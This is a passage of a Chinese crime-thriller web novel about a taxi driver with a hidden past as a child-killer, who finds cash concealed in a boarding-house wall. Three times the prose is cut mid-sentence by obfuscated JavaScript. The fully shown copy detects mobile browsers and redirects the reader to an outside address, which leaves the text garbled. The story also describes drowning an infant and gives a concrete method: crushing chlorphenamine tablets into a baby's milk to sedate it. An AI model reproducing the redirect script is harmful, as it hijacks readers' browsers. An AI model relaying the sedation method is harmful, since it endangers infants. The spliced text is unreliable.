而徐朝颜浑然不觉,还能用手肘捣鼓何序。 “老公,妈说我故意使坏,我没有呀。老公,你说句话呀——” 何序面无表情,埋头吃饭。 朵朵乖巧地把两块鸡腿肉放进何阿婆和徐朝颜的碗里。 “奶奶,妈妈——别生气了,吃这个,好吃。” 在晚餐中途,何阿婆颁布了自建楼的“房规”,大到清洁管理,小到分贝限制,蔡岛嘉恍惚之间好像又回到了封闭学校一样:他付了钱,但依然是孙子。 “小蔡!你的筷子怎么放的,不许这么插,晦气!”何阿婆一声呵斥,让他回过神来,连忙把刚刚随手竖插在米饭碗上的筷子给放倒。 “妈,你立这么多规矩,什么时候也来个伙食规矩?”徐朝颜讨好地笑道,“这两天前的剩饭菜就别往桌上端了,吃了拉肚子啊。” 何阿婆眼睛一瞪,不耐烦道: “爱吃吃,不吃滚。” 与此同时,夏禧牵着导盲犬笨笨从楼上姗姗来迟,在跨过门槛的时候,那条蠢狗一无所觉地摇着尾巴冲过门槛,而它的主人,则不出意外地被绊倒了。 “对不起对不起……呜呜……” 蔡岛嘉麻木地咀嚼着硬邦邦的剩米饭,心里安慰自己:很快,他就能彻底甩开这群人。 …… 凌晨十二点过。 蔡岛嘉提着工具箱,鬼鬼祟祟地拉开房门,探头探脑一会,飞快地闪入厕所,反锁上门。 贴着透明不干胶的白瓷被无声地放在地上,他半蹲着,呼吸急促,汗珠顺着下巴滴落。螺丝刀一点点撬开水泥,他的牙齿也跟着一起用力,咬得咯咯作响,仿佛要把那袋东西给咬出来。 终于,卡住防水袋的水泥被敲碎。蔡岛嘉满手是汗,钳子在掌心打滑,指节却僵硬发白。伴随胸腔里急促的呼吸声,那只黑色防水袋被一点点拖出墙体。 防水袋静静地躺在地上,像一个鼓鼓囊囊的电脑内胆包。 他忍不住把脸贴近那方缺口,眼球几乎要嵌进碎裂的灰浆里。借着灯光,他瞥见墙体深处——一只又一只同样的黑色防水袋,整齐码放,一直延伸到看不见的尽头,但除却边缘那只,其余袋子全被浇筑时的混凝土和钢筋网铆死。 门把手扭动的声音凝固了他的动作,也掐住他在胸腔下狂跳的心脏。 “咦?有人在里面吗?”夏禧带着睡意的声音从门外响起,“小蔡?是你吗?” “啊,嗯……”血液的急速上涌和下坠让蔡岛嘉头晕目眩,他扶住墙壁,强撑着说道,“我在上厕所。” “哦,那我等你。” “不!”他立即喊道,反应过来自己有些激动,咳了一声,“我……我有点拉肚子,你先回去吧。” 夏禧在外边应了一声,然后带着她的盲杖,嗒嗒嗒地走远了。 他刚刚怎么没听见声音? 蔡岛嘉来不及多想,听见夏禧房门“咔哒”一声关上,他的心脏猛地一缩,手忙脚乱地把白瓷重新按回原处。他拿两手捧着碎裂的水泥渣,慌慌张张地倒进马桶,猛按冲水键,耳边轰鸣一片。草草处理完现场,他屏住呼吸,缓缓拉开门缝,生怕有人正等在外头。确认走廊空无一人后,蔡岛嘉才抱紧那只黑色防水袋,迅速溜回自己房间。 锁上门后,他再也忍耐不住,将防水袋里的东西全抖了出来。 浅绿色的美金,刺得他眼睛生疼,一叠一叠,洒了一地。 他喉咙里仿佛卡了块笑声,出不来,也咽不下,一昧扑在地上,如饿了一周的豺狼,拼命嗅闻猎物的味道。 他数了三遍,这一包里有五万美金。 墙里还有至少四包。 按照现在的汇率,五万美金就是四十多万人民币。四包就是—— 他感觉自己太阳穴的青筋在直跳。 隔壁婴儿又开始哭了,但这一次,蔡岛嘉没有感到丝毫怒火。 这一晚,他只记得自己最后将防水袋藏在了床板下,什么时候睡的,怎么睡的,一概不记得了。 第二天早上,他是被湿漉漉的东西叫醒的。一开始,他还以为自己在家,是蔡娟在用湿毛巾给他擦脸。但这块毛巾臭臭的,还伴随着一股股热气扑来。 他猛地睁开眼,看见笨笨正吐着大舌头再次朝他舔来,而它的主人夏禧,则扶着墙站在床前,身上套着一件颜色俗丽的短袖衬衫,下摆压着条深色长裙。 “操!” 蔡岛嘉脱口而出,手忙脚乱地从床上弹了起来。 “你怎么进来的?!” “你门没锁,我敲门没反应,就进来了。”夏禧面露茫然,“何阿婆让我来叫你,说有事问你。她好像很生气,你小心一点。” 蔡岛嘉本想对她发火,但听说何阿婆已经挂上号等着对他发火,他那点怒气滋啦一声就灭了。 “生气?为什么?” 他惶恐反问,做贼心虚地想到自己昨晚在厕所做的事。 “我不知道,你快去吧。”夏禧摇了摇头,慢慢走了出去,笨笨看了他一眼,也摇着大尾巴跟上主人。 蔡岛嘉花了一分钟的时间整理了一下自己像被水泥机搅过的大脑,胡乱穿上衣服,胆战心惊地去找何阿婆。 何阿婆在一楼厕所,手里握着一个脏兮兮的马桶刷,一见蔡岛嘉就叉着腰开骂: “小蔡!你屙的什么金刚屎,把一二楼的厕所下水道都给堵了!” “啊?”蔡岛嘉愣了一下,马上想起昨晚自己扔进马桶冲走的水泥残渣。 “啊什么啊?不是你还能是谁?我们下水道从来没有堵过的!不是你堵的,还是人家小夏堵的?”何阿婆把马桶刷扔回角落,眉毛拧得能夹死一只苍蝇,“我不管你想什么办法,赶紧把下水道给疏通。越快越好!” 蔡岛嘉讪讪应了,内心松了口气,被命令疏通管道,总比被发现自己深夜撬墙好。 他抓起车钥匙出门,街口的日光白得发晕,黄色出租车七拐八弯地停在一间超市门口。蔡岛嘉锁车进店。超市里的冷气比他的车载冷气要足得多,瞬间就吹掉了他身上的热气。 他来到家居区域,荧光灯把货架上的塑料瓶照得发亮——红黑警示标贴一排排盯着人。蔡岛嘉从最下层拎起两瓶管道疏通剂,在收银台结了账。白色的塑料袋勒着指缝,他单手推门回到烈日里。返程时比来时更快,十分钟后,他就回到了三楼客厅。 蔡岛嘉用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他不由加大了力气。 随着噗的一声,那东西脱离了管道口,被惯性送到他眼前,一股恶臭扑鼻而来。 是一只巴掌大的小手。 鼓胀的皮肉已泡得发白,五根手指样的肢体软塌塌地垂着,指甲完整、掌心有纹路……像两三岁小孩的手。 他僵在原地,动弹不得,感觉背后有什么冰冷的东西,正沿着他的脊柱缓缓蠕动,贴上颈根,死死扼住了他的后颈。 一时间,蔡岛嘉在自建楼铁门上看见的那张寻人启事闪过脑海。 不,不止是像。他比谁都清楚,那就是一只手。 一只货真价实的,正在腐烂的手。 他像触电一样把这只手重新扔回马桶。 他和这只手互瞪了一会,胸口剧烈起伏。 在意识到放着不管还会堵塞下水道后,蔡岛嘉忍着恶心,把那只手重新拿了出来。 不能报警。他心乱如麻地想。 警察一旦介入,就会把这栋房子翻得底朝天,他的钱——床下的,还有墙里的,都会被一并发现。 在转移走所有钱之前,无论这栋房子里发生了什么,他都不能报警。 蔡岛嘉下定决心后,把塑料袋藏在身后,趁三楼无人活动,做贼一样逃到了天台。 空荡荡的天台里,几根晾衣绳在风里轻轻摇晃,闷热的湿气笼罩着整个楼顶。半人高的水泥围栏上挤满了花盆,全被崭新的铁丝勒得死紧,好似一排排被拴住的头颅。蔡岛嘉隔着一层塑料袋,紧握着那只半腐烂的小手,炎热的夏风吹过,他却打了个哆嗦,冷得像刚从冰窖里爬出来。 角落里,一盆红色的大丽花开得正艳,花瓣层层叠叠,像撕开的新鲜血肉堆叠在一起,冲击着他发涩的眼睛。 蔡岛嘉在它的盆里挖了一个深坑,将塑料袋里的那只手抖落下去。 黑色的土重新覆上那只小手,将那像在求救的,微微张开的五指,完全掩盖在了繁盛之下。 8. 第 8 章 紧闭的出租屋内,蔡岛嘉弯腰坐在床上,十指深深插入被冷汗湿透的头发。 那毫无疑问是一只手。 不是什么模型或仿真玩具。 谁杀了他? 这栋房子里的谁杀了他? 是大米生虫也不舍得扔的何阿婆?还是种君子兰、大丽花的何阿公?亦或是那永远穿着HelloKitty睡衣的徐朝颜、在餐桌上沉默不语的何序?还是养老鼠的十二岁女孩朵朵? 每一种可能,都那么不可思议……那么可怕。 几声不长不短的敲门声打断了他凌乱的思绪。 “小蔡,何阿婆在楼下摇铃了。你听见了么?”夏禧的声音从门外响起。 “……听见了。我不吃,你去吧。”他沙哑道。 这个瞎子,什么也看不到,什么也不知道,只会在摔倒的时候呜呜两声。这一刻,他忽然羡慕起她的无知。 夏禧带着盲杖敲地的声音,慢慢走远了。 蔡岛嘉抓起床边的手机,给母亲发了消息:“你不是要约我吃饭吗?” 半小时后,他把黄色出租车停在一家家常菜馆门前的露天停车场。后视镜上挂着的灰毛线老鼠随惯性摇晃,嘴角的黑线绷开,像是在怪笑。他把钥匙揣进兜里,下了车。 蔡娟已经在靠窗的一张两人桌前等他,菜都上齐了,全是他爱吃的菜,摆得满满当当,连桌角都见缝插针地放着一碟小菜。 他拖开椅子,坐到对面。 “爸呢?”他问。 蔡娟把烫好的碗筷递到他手里:“你爸在工地加班呢。” 加班?蔡岛嘉想起了那个花枝招展的女人,冷笑了一下。 “你这几天住在外面,一定吃不习惯吧?你瞧你都瘦了!来,多吃一点。”蔡娟忙活着给他布菜。 蔡岛嘉也不客气,端起饭碗就大口刨饭,与何阿婆的馊米饭或肉条加餐比起来,这一桌简直就是蟠桃盛宴。 “儿子,还是回家来住吧。妈照顾你,也放心啊。”蔡娟试探着说。 “不回来。”他敷衍道,“已经交了半年的房租。” “妈给你报销。” “不是这个的问题,别说了。”他不耐烦道。 “好好好,不说了啊。” 蔡娟讨好地笑着,给他从鸡汤里夹了一条鸡腿放到他碗里。 一碗米饭见底,蔡岛嘉把碗递给蔡娟,后者连忙又给他添了一碗。盘里的红烧肉逐渐只剩下一层油光,他打了个饱嗝,心满意足地放下筷子,取了一根牙签剔牙。 蔡娟小心看着他的脸色:“儿子,你老实告诉妈,是不是在外面交女朋友了?” 蔡岛嘉抬起眼皮,嘲讽地睨了她一眼:“你又没给我准备房子,我就一辆破出租车,谁愿意做我女朋友?” “人小许就愿意呀!”蔡娟神情一振,急忙说道,“小许上次还问我,你最近什么时候有空,可以约着出去喝杯咖啡。我都帮你探过口风了,小许不介意你没上大学……” “……你有完没完?”那根细细的牙签停在嘴边不动了。 “儿子,妈知道你在想什么。你喜欢年轻漂亮的,小许确实不符合你的要求,但你也要想想自己的条件呀,你以前……”蔡娟的声音越压越低,眼神偏到一边,桌上的手不由自主攥了起来,像在抵御一股看不见的寒意。 “你说那么多就是看不起我。”蔡岛嘉打断了她的话,“我告诉你,你会后悔的。要不了多久,你就会知道自己错得有多离谱!” 不等蔡娟再说什么,他扔下牙签,起身就走。 “儿子!儿子!妈不说了,你回来!” 蔡娟惊慌失措的声音从身后传来,他头也不回。 他闷头往外走,胸腔里的火憋得发胀,像要从喉咙里喷出来,却死活找不到一个能喷出去而不被罚款的地方。 黄色出租车带着刺耳的轮胎和地面的摩擦声,蹿出停车场,驶入夜晚的车流。 八点整,正是江都市夜生活开始的时候。这条紧挨江水的美食街上车水马龙,五光十色的霓虹灯在玻璃窗外闪烁不止,反射进冷气充足的车厢,把他的脸映得忽青忽红。 他在红灯前停下,手握方向盘,眼睛盯着跳动的倒计时。 一只蜻蜓,轻轻落在挡风玻璃,霓虹在翅膜上碎裂成细光,忽明忽灭,像随时要塌落的天空。 他的目光无意识地落在蜻蜓上。 绿灯不知何时已经亮起,黄色出租车依然一动不动。身后喇叭一阵串响,像针扎在后脑。他回过神来,发动机轰鸣震动,玻璃外的蜻蜓骤然振翅,掠起一抹冷光。 它在前路抖动着翅膀,仿佛被一根无形的丝线拽着,把蔡岛嘉的车一并拴进命定的轨迹。下方的江水在夜色里翻涌,像张开的黑口,随时要将它吞没。 他的思绪,也被蜻蜓牵进了十五年前的夏天。 1993年6月23日傍晚,十三岁的少年姜必成将偷来的女婴,放入了生锈的地笼。 小小的女婴,睫毛纤长浓密,被陌生人抱起也不哭不闹,只是睁着乌黑的大眼睛,从铁丝网里好奇地看着他。 他把地笼慢慢浸入池水。 水漫过了她的襁褓,漫过了她肉乎乎的小手,最后漫过那双变得惊恐的眼睛。 水流吞噬了她的哭声和眼泪。 地笼提起又沉没。 一遍又一遍。 池塘边的夏风吹拂不断,白色的芦苇丛被越吹越低。阳光在少年稚嫩的脸上闪动,无尽的蝉声里,他的唇角挂着笑,阳光在牙齿间闪出细碎的白光。 最后一次提起地笼,发现女婴已失去呼吸时,他凝视了半晌,嘴边溢出一声抱怨。 “操。” 他脱下外衣裤,穿着内裤下水,将装着女婴的地笼拖到池塘中央。他潜入水下,脚下幽绿一片,看不见底。少年的五指在水中轻轻一松,地笼就向着深渊坠去。 之后几天,他每天都会来到池塘边,看着其他人在水边一无所知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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何序一言不发,从餐桌上扯了张纸巾,摁死了果盘上的一只黑色小虫。 何阿公正用沥水篮晒他刚洗干净的象棋棋子,手边是透明的蓝色塑料保温杯,几朵菊花臃肿地漂浮在水中央,宛如泡涨的尸体。 “小蔡哥哥回来了!”正在尝试喂花枝鼠吃西瓜的朵朵发现了他的存在,捏住想逃的宠物小咪,高兴地喊道。 只有夏禧对此作出了反应。 她坐在一条单人沙发上,艳俗的衬衫和深色长裙叠在一处,颜色互相抵消,像一张被人剪贴过的拼图。 “小蔡回来了?吃过饭了吗?”她友善地笑道,墨镜下的那对无神的眼睛,永远对着错误的方向。 其他人这才朝他看来。 蔡岛嘉的目光从一张张或无视或微笑的脸庞上扫过。 杀人犯也好,杀人魔也罢。 他不会将那笔钱让给任何人。 “……吃过了。”他腼腆地笑了起来,牙齿在白炽灯下闪着光。 就像十五年前的那个夏天一样。 9. 第 9 章 7月18日下午,银行。 蔡岛嘉走进离八里村最近的一家工行,从取号机里领了一张崭新的小票,坐到冰冷的椅子上等待。过了一会,红色电子屏一跳,“A107”。他像个突然被点到的小学生,拿着小票赶紧前往柜台。 玻璃窗后,点钞机“哒哒”地滚动着。 他从裤兜里抽出两张崭新的百元美钞,和小票一起从小窗里推进去:“换点人民币。我……有个在美国的姨妈寄来的。” 柜员看都没看他,验了钞票之后,就给他换成了人民币。蔡岛嘉见状,又试探能否兑换更多。 “大额现金得有外汇来源证明,手续比较多,走汇款会更方便。”柜台看了他一眼,脸上写着“还有其他事吗?”几个大字。 蔡岛嘉讪讪地起身,让给了下一个排队的客户。 看来一次性换完五万美金行不通。 他揣着刚换的钱,来到江都市最大的百货商场,一脚踏进从前想进但不敢进的专柜,将一个二十岁出头的专柜销售呼来唤去,最终选定了一身崭新的行头。 “先生,您长得高,上身效果真好。”销售小妹笑道。 “181。”蔡岛嘉腼腆道。 “怪不得呢。”销售小妹说,“那是给您开起来,还是……” “开起来。” 结账的时候,他慢条斯理地从兜里掏出一叠百元大钞,付了衣服钱。 接着他又去了一楼的高档美发店,叫设计总监给自己剪了个二百八十块的头。从头到下焕然一新后,他满意地端详着全身镜里的自己,越看越满意。何序长得又高又帅又怎样?他也不差,还比他有钱。 离开百货大楼的时候,他换汇来的一千四百多人民币,只剩下一百九十二块零一毛。 他数了一遍零钱,犹豫片刻,掉头去了旧货街。 他轻车熟路地走进一家卖“高档保健品”的店铺,左看看又看看——首先排除蜂蜜,蔡娟从公交公司离职后,还卖过假蜂蜜,送便宜的容易露馅。他看来看去,最后停在燕窝柜台前。 “识货吧,马来西亚新到,六百四给你。”瘦小的女掌柜笑。 蔡岛嘉以前帮田永转手那些烟酒的时候,没少来这地儿。真的卖多少假的卖多少他一看便知。 “一百。”他直接说。 “不行,四百八。” “一百二。” “最低一百四。” 布帘一挑,一个黑背心纹身汉出来站在她身后。 几分钟后,蔡岛嘉带着比脸还干净的裤兜和一盒一百九十二块零一毛的“马来西亚燕窝”走出了店铺。 “操,黑店。”他骂骂咧咧地上车,把燕窝礼盒扔到副驾。 他驱车回家,敲开那扇猪肝色的防盗门。蔡娟看到他,喜出望外:“儿子,你怎么回来了?” “给你带了点东西。”蔡岛嘉大摇大摆走进门,把燕窝礼盒往餐桌中央一放,“我托朋友从马来西亚给你带的。” 蔡娟拿起燕窝礼盒,爱不释手地翻看,上面的“燕窝”、“胶原蛋白”、“马来西亚进口”等字样在她手中变来变去。 “哎哟,这一定很贵吧?” “还好,一千多块。”蔡岛嘉轻描淡写道。 蔡娟吓了一跳,忙把燕窝放下:“你自己挣的得也不多,以后别送了,你的心意妈都知道……” “这算什么?”蔡岛嘉不屑道,“我现在自己做生意,利润还不错,以后有的是好东西给你。” “你做什么生意?小心点,别……” “你别管,懂不懂都别管。”他怒声道。 蔡娟欲言又止,最后勉强笑道:“好吧,儿子,你长大了,有自己的主见了,妈不唠叨了——晚上在家吃饭吧?” 蔡岛嘉从鼻腔里回应了一声。 蔡娟进了厨房忙活,蔡岛嘉听到她在给父亲姜胜打电话,要求他回家吃晚饭,而后者似乎仍在推脱。 他走进厨房,不客气地抢过手机。 “你一天到晚忙什么呢?我回来了,你晚上必须回来吃饭。”蔡岛嘉说。 电话那头沉默了片刻,然后说:“……行,那我调一下时间表。” 蔡岛嘉轻蔑地把手机还给蔡娟。 一个半小时后,一家三口坐在狭窄的餐桌前,老式吸顶灯抖着白光,把饭菜照得油亮。 “老姜,你最近回家越来越少了。工地再忙,也该回家吃口饭。”蔡娟左手捧着饭碗,右手捏着木筷,一落座便开始唠叨,“天天加班,加班费也没见涨过。” “又不是国企,哪来那么多加班费。”姜胜神色敷衍,视线只落在饭菜上。 “但你好歹也是个小领导,有事情不能交给下属去做吗?”蔡娟又说。 “因为是小领导,所以才要以身作则……特别是田永又不在了,你不知道多少人等着给我穿小鞋。” 蔡娟叹了口气,将一块排骨夹到蔡岛嘉碗里。 “你呢,出去住还习惯吗?”姜胜终于将目光落在对面的蔡岛嘉身上,“有没有每天跑车?你之前就是太懒散了,如果每个高峰期你都坚持出门跑车,一个月怎么也能挣个八千一万的,根本用不着家里接济。” “我自己知道。”蔡岛嘉硬邦邦地说。 “你知道什么?以前田总看我救他一命,让你当司机。现在田总成了田永,没人照顾你了,你只能靠自己——” “我什么时候不是靠自己?!”蔡岛嘉摔了碗筷,怒形于色,“你除了给我一辆破出租车外,还给我什么了?” “哎呀,别说了——吃饭,吃饭!”蔡娟有心和稀泥,但没人理她。 “破出租车?你知道那个证花了家里多少钱吗?”姜胜皱眉。 “那又怎么样?”蔡岛嘉站了起来,怒视着仍坐在原地的姜胜,“你不就是觉得我进过少管所,这辈子就完了!你根本不相信我有成事的那天,你觉得我是个废物——那你自己呢?你自己屁股上的屎都没擦干净,还想对我说三道四?你配吗?” “我告诉你,我的事业已经走上正轨了,从今以后,我不用看任何人脸色!” 蔡岛嘉转身就走。 他拎着钥匙冲下居民楼,掌心全是汗。黄色出租车的车门一拉一甩,砰一声巨响,连车厢好像都在跟着晃动。他把钥匙一拧到底,发动机低声闷响,车像被火推着上了路。 他们都看不起他。 但他们凭什么看不起他?尤其是他父亲,他有什么资格看不起他? 出租车在一个路口急停,蔡岛嘉下车进了一家五金杂货铺,出店的时候,手里多了一个小桶。 他来到姜胜情妇住的那个小区,径直进了三单元四楼。 门前的印花地垫已经换了新的,现在是白粉色的栀子花图案。他打开油漆桶,用刷子蘸了红色油漆,在黑色的防盗门上,一笔一划写下“破鞋”两个字。 红色的油漆顺着笔画蜿蜒流下,像新鲜的血。散发着比血更臭的气味。 他继续写。 “小三。” “不要脸。” “去死吧。” “杀了你。” 他一个字一个字地写。 握着毛刷的手从一开始的青筋毕露,到后来的游刃有余,他紧咬在一起的上下牙,也不知不觉中松开,嘴角挂起了笑容。 再也找不到落笔的地方后,他熟练地解开裤子拉链,在新的地垫上又撒了一泡尿。 做完这一切,他哼着歌走出三单元,把剩下的油漆扔进垃圾站。 一个小时后,他的电话在汽车中控台上疯狂震动起来,他接起电话,姜胜紧绷愕然的声音从另一头传来: “……是你做的吗?” 蔡岛嘉没有否认,否认太低级。他已经不用再怕任何人。 “是我做的,那又怎么样?你要找我妈告状吗?”蔡岛嘉轻蔑地说,“如果你继续和那个女人搞在一起,我保证,油漆只是开胃菜。” 不等姜胜说话,他已经挂断了电话。 手机再也没有响动。 他带着胜利之后居高临下的心情,将车开回了八里村。 熟悉的自建楼下,停着一辆陌生的车。 方方正正的车身堵在院里,白漆反着光,顶上的红□□罩静静趴着,像一双闭住的眼。 他心里给它命了名。 在十五年前的那个夏天,他曾无数次地坐过这样的车。他永远记得车中压抑、寂静、冷硬的空气。 蔡岛嘉的双手攥着方向盘,指节僵白,心跳快得像要把胸口震碎。脑子里冒出无数个念头:掉头、绕路、干脆今晚不回。可下一秒,又有个声音死死压住了他——钱在床下,钱在墙里,他绝不能离开。 呼吸一点点缓下来,他告诉自己:不过是辆停在院里的车,谁会特意冲着他来?十五年前的事已经过去了,没有人知道他是姜必成。 蔡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727990|189544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岛嘉狠下心来,一脚油门,把出租车开进院子,停在那辆白车旁边。发动机熄火后,两辆车并排挨着,冷冷地对峙。 入户大门大敞开着,何阿公等人正在送一名身穿制服的民警出来。 蔡岛嘉深吸一口气,强装镇定地下车朝他们走去。 “这是怎么了?”他装出茫然困惑的样子。 背对着蔡岛嘉的民警闻声转过身来,他站在蔡岛嘉面前,比他高一个头,但背却是微微佝偻的,眼下泛着乌青,蓝色的制服皱皱巴巴,不知道是洗了没熨,还是压根没洗。 “小蔡哥哥!爷爷发现了一只手!”朵朵兴奋地喊道。 “别这么说,恶心死了!”穿着睡衣的徐朝颜轻轻打了她的肩膀一下。 蔡岛嘉像是被扼住了喉咙。 “别怕,小蔡,不是你想的那样。”何阿公忙说,“戚警官说是猕猴的手。也不知道是谁恶作剧,把这样的东西埋进了我的花盆里,要不是今天换盆,我还不知道呢。对了,我介绍一下,这就是咱们片区的负责民警,戚迪戚警官。戚警官,这是我们楼的租客小蔡,蔡岛嘉。” 蔡岛嘉对警察过敏,看见穿制服的就浑身不得劲。他还没反应过来,戚迪已经弯下腰,从脚边提起一个透明塑料袋。袋子里的小手灰扑扑的,上头还粘着泥,指节间的泥土干了半块、湿了半块,看着有点渗人。 “戚警官,你好你好。”蔡岛嘉僵硬地笑道,“……这是猴手?” 戚迪嘴角往下一扯,像笑又不像:“要是人手,你们还能像现在这么淡定?” “戚警官,你能确定这是猴手吗?”徐朝颜不放心地追问。 “人和猴的手很容易区别。” 戚迪举起手里的袋子示意,徐朝颜“噫”了一声,当即挪开了视线。 “人手的指节是直的,我们发现的这个是微微弯着。还有指甲,人的甲床比较宽,它的又长又窄。掌心纹路更明显,人类掌纹交错得细,这个却是一条条横杠——很明显就是猴子,只是不知道是什么品种的猴子。” “不管是什么猴子,赶紧拿走!晦气死了!”何阿婆站在屋角,胸前双手扣得紧紧的,眼神凌厉,满脸都是压不住的怒火,“等老子发现是谁干的这事,让他吃不了兜着走!” 戚迪随手把笔记本翻开,例行问了刚回来的蔡岛嘉几句,笔尖在纸上划来划去,写得草草,像是用力刻意写出声响,好让人觉得他很忙。最后啪地一合笔记本,漫不经心地说: “我把这玩意儿带回去了,如果后续有线索,就给我或者所里打电话。” 何阿婆厌烦地连连摆手。 “戚警官,麻烦你白跑一趟了。这不是人手就好,大家都松了一口气……”何阿公陪戚迪走向停在院里的警车,“对了,您母亲的身体怎么样了?” “不好不坏,”戚迪笑了一声,“跟我差不多。” “没有变化有时候也是好变化。”何阿公安慰道。 戚迪点点头,把身体塞进驾驶座,窗户摇下半截,短促地说:“嗯,活着就行。”随即一脚油门,巡逻车带着尾气的味道开出了小院。 眼见着警车驶出街道尽头,蔡岛嘉立即大步跨进小楼,一口气跑上三楼,开门进了自己房间。 床底下,黑色的防水袋依然在远处,他检查了一下里面的钱,一分不少。他接着又跑进厕所,确认那块白瓷依然好好地用透明胶粘着。他这才彻底松了气。 直到此时,他才有心思想那只莫名其妙的猴手。 谁会做这样无聊的事? 算了,和他没关系。 夜深后,他再次拎着工具箱,把自己反锁在三楼厕所。 螺丝刀伸进去撬,不行;铁丝弯成钩子去勾,碰不到;锤子敲了几下,灰渣簌簌落下,却仍然卡死在里面。钳子夹得手心发抖,袋子只是轻微晃动,半寸都拖不出来。 洞口实在太小。要想把后面的钱弄出来,就得敲开更多墙体,那势必会被其他人察觉。 有没有什么办法,能神不知鬼不觉地把钱弄出来? 蔡岛嘉躺在床上,茫然地盯着灰扑扑的天花板。 隔壁又开始婴儿夜哭了。 自从搬进自建楼,他就没有睡过一个好觉。蔡岛嘉烦躁地翻了个身,把头蒙在被子里。刺耳的啼哭声依然如魔音缭绕,穿透了防御直达耳膜。 一个念头像影子爬上来,悄无声息。 如果孩子死了就好了。 10. 第 10 章 7月19日傍晚,蔡岛嘉带着四张百元美钞,换了两家银行,一共兑得2840元人民币。 揣着这2840,他踏入了一家此前只敢在街对面驻足的高档餐厅,点了一堆看不懂菜名的菜和一瓶法国进口的红酒。 吃饱喝足后,他在一家偏僻的24小时药店里买了一盒扑尔敏。 蔡岛嘉将车门一甩关上,黄色出租车里冷气呼呼直吹,仿佛另一个世界。他一边哼着不成调的曲子,一边把药袋随手丢到副驾。透过挡风玻璃,外头烈日下的柏油路像烧热的铁板,空气层层抖动,车流被蒸得摇摇晃晃。阳光透过玻璃直烫皮肤,冷气又贴骨生凉,他像被劈在冰火两端。黄色出租车就这样钻进滚烫的夏日街道,带着他往自建楼的方向驶去。 出租车停在自建楼门前的空地上,热气蒸腾中,那股萦绕不散的农家肥气味似乎更浓了。他皱眉下车,透过发粘的热气,看到何阿婆几人正在大门前捣鼓什么。 “就放这里,再过来一点。”何阿婆叉着腰,颐指气使地指挥着徐朝颜。 “这样?”徐朝颜摆弄着屋檐下一个大概有三四十厘米高的铜钟,努力将它悬挂固定在何阿婆要求的地方。 “再过来一点。” 徐朝颜苦不堪言,怪叫一声。 何序凝视着铜钟的左右两边,好像在用目光丈量其是否对称。 “差不多了。”他说。 何阿公的双手背在身后,仰头看着那明显不知是多少手的铜钟:“我也觉得差不多了。” 何阿婆这才不情不愿地说:“那就这样吧。” “你们这是在……”蔡岛嘉走到大门前。 “哦,小蔡回来了。”何阿公笑着,“阿婆之前的钟不怎么响了。我去旧货市场给她淘了个大点的回来,以后叫你们吃饭就更方便了。” 蔡岛嘉看着那口钟,忽然觉得它更像一只饭点才会叫的训犬铃。 “何阿婆,您有空吗?又要麻烦您帮我兑一下奶粉了——”夏禧的声音从楼梯上方传来。 蔡岛嘉神情一振,一个跨步踏入大门。 “我来吧,何阿婆正忙着。正好我没事。” 夏禧穿着一条像上世纪的喇叭裤,扶着楼梯慢慢走到一楼,当双脚安稳落到一楼地面,她明显松了口气,向着虚空递出手里的蓝色塑料袋。 “谢谢你啊,小蔡,真是不好意思……” “没事,都是邻居,互帮互助是应该的。”蔡岛嘉几步走到她面前,和颜悦色地接过了她的塑料袋,“你去沙发上坐着等我吧。” 夏禧受宠若惊地道了几声谢,握着那根盲杖,一步一探地往客厅走去。蔡岛嘉则转身进了厨房。 他拿出塑料袋里的奶瓶和一袋已经开封,用白色封口夹夹住的国产奶粉,敷衍地扫了一下包装上的说明。客厅里,传来夏禧和徐朝颜说话的声音: “你们朵朵真的教得好乖,好懂事。不像我家乐乐,现在就能看出以后调皮捣蛋的天赋了……你们怎么教孩子的,有没有什么秘诀呀?” “哪有什么秘诀……现在的孩子,管也没用!龙生龙凤生凤,老鼠的孩子会打洞,有什么好管的?” “我就平平就喜欢在地上打滚,怎么教都不听,愁死人呢。” 蔡岛嘉探头望了一眼,确认两人正旁若无人地交流“育儿心经”,注意不到厨房里的动静后,他拿出了在药店里买的扑尔敏。 安眠药需要处方,而镇静类药物却可以随便买,对付这种小婴儿,扑尔敏足够。 他掰出两粒药片,用菜刀背面反复压碎后,加入了奶瓶。 药粉和奶粉很快融为一体,难以区分。 蔡岛嘉加入开水后,特意用手指蘸了一下,抹在舌尖,确认没有明显异味后,才拧上了奶瓶盖子。 他把夏禧和这杯加了料的奶一起送回了三楼,想到今夜能安静一夜,就连夏禧房间里那条对他龇牙咧嘴的愚蠢大金毛也变得顺眼起来。 蔡岛嘉心满意足地回到自己房间,抓起遥控板开了墙上的空调。他一屁股坐在满是灰尘的地上,右手熟练地勾出床下的黑色防水袋,倒出里面的钱又数了一遍——这已经变成他每日必不可少的娱乐活动。 虽然墙里的暂时还取不出来,但就这将近五万的美金,也足够他过一段时间奢侈的生活。 屋外蝉声一阵高过一阵,像蒸笼里的水汽。天光从窗缝溢进,拖长到地板上,渐渐发黄发暗。那袋数了一遍又一遍的美钞,此刻就放在床板下的黑暗角落。睡在那上面,带给蔡岛嘉从未有过的安全感。 连续多日没有睡好,他几乎是沾上枕头就睡了过去。 不知过了多久,黑夜已沉得像一口井,他的意识安逸地埋在井底。忽然,一墙之隔的尖锐哭声炸开,将他从深处猛地拽上来。 他僵在黑暗里好一阵,心头的怒火被突如其来的疑惑压得更重。那孩子怎么还在哭?他几乎不敢信,随即猛地扯开被子,下床冲到走廊,拳头像要砸穿门一样,砰砰砰拍在夏禧的房门上。 “大半夜的能不能让人睡个好觉?每晚都哭,有完没完?!” 